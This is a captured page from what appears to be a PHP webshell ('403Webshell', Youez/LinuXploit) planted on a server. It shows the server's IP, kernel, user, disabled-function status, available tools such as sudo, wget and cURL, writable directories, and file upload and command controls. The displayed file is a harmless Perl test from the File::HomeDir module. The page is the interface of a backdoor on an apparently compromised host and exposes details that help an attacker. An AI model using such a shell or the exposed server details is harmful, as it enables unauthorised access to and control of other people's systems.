403Webshell
Server IP : 164.138.27.172  /  Your IP : 216.73.216.143
Web Server : nginx/1.27.4
System : Linux cookingdream 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : www-adm ( 1001)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/jonasn/.cpan/build/File-HomeDir-1.006-0/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/jonasn/.cpan/build/File-HomeDir-1.006-0/t/10_test.t
#!/usr/bin/perl

# Testing for the test driver

use strict;

BEGIN
{
    $|  = 1;
    $^W = 1;
}
use File::Spec::Functions ':ALL';
use Test::More tests => 30;
use File::HomeDir::Test;
use File::HomeDir;

# Is the test driver enabled?
is($File::HomeDir::Test::ENABLED,  1,                     'File::HomeDir::Test is enabled');
is($File::HomeDir::IMPLEMENTED_BY, 'File::HomeDir::Test', 'IMPLEMENTED_BY is correct');

# Was everything hijacked correctly?
foreach my $method (
    qw{
    my_home
    my_desktop
    my_documents
    my_data
    my_music
    my_pictures
    my_videos
    }
  )
{
    my $dir = File::HomeDir->$method();
    ok($dir,    "$method: Got a directory");
    ok(-d $dir, "$method: Directory exists at $dir");
    ok(-r $dir, "$method: Directory is readable");
    ok(-w $dir, "$method: Directory is writeable");
}

Youez - 2016 - github.com/yon3zu
LinuXploit